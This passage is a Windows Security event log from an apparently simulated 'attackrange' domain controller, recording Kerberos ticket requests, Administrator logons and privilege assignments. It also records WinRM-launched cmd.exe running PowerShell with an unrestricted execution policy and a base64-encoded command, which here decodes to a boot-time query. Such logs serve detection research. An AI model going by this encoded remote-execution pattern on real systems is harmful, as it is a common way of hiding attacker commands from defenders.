-TaskCategory=Logon -OpCode=Info -RecordNumber=253536 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253535 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253534 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253533 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BA6D4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253532 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BA6D4 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253531 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1BA6D4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253530 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253529 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253528 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253527 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B8C9D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=253526 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x16387C - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253525 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B8C9D - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253524 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B8C9D - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253523 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253522 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253521 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253520 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B8218 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf2c - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xaf0 - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253519 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B8218 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xaf0 - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12a0 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand KABHAGUAdAAtAFcAbQBpAE8AYgBqAGUAYwB0ACAALQBDAGwAYQBzAHMATgBhAG0AZQAgAFcAaQBuADMAMgBfAE8AcABlAHIAYQB0AGkAbgBnAFMAeQBzAHQAZQBtACkALgBMAGEAcwB0AEIAbwBvAHQAVQBwAFQAaQBtAGUA - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253518 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B87E8 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253517 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B87E8 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253516 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=253515 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=253514 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253513 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B8218 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12f4 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x12a0 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=253512 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B8218 - -Process Information: - New Process ID: 0x12a0 - New Process Name: C:\Windows\System32\winrshost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x1e0 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: C:\Windows\system32\WinrsHost.exe -Embedding - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=253511 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B8218 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:50:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=253510 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x1B8218 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B812AC57-6FC2-4607-7B57-BEA483B003FB} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no 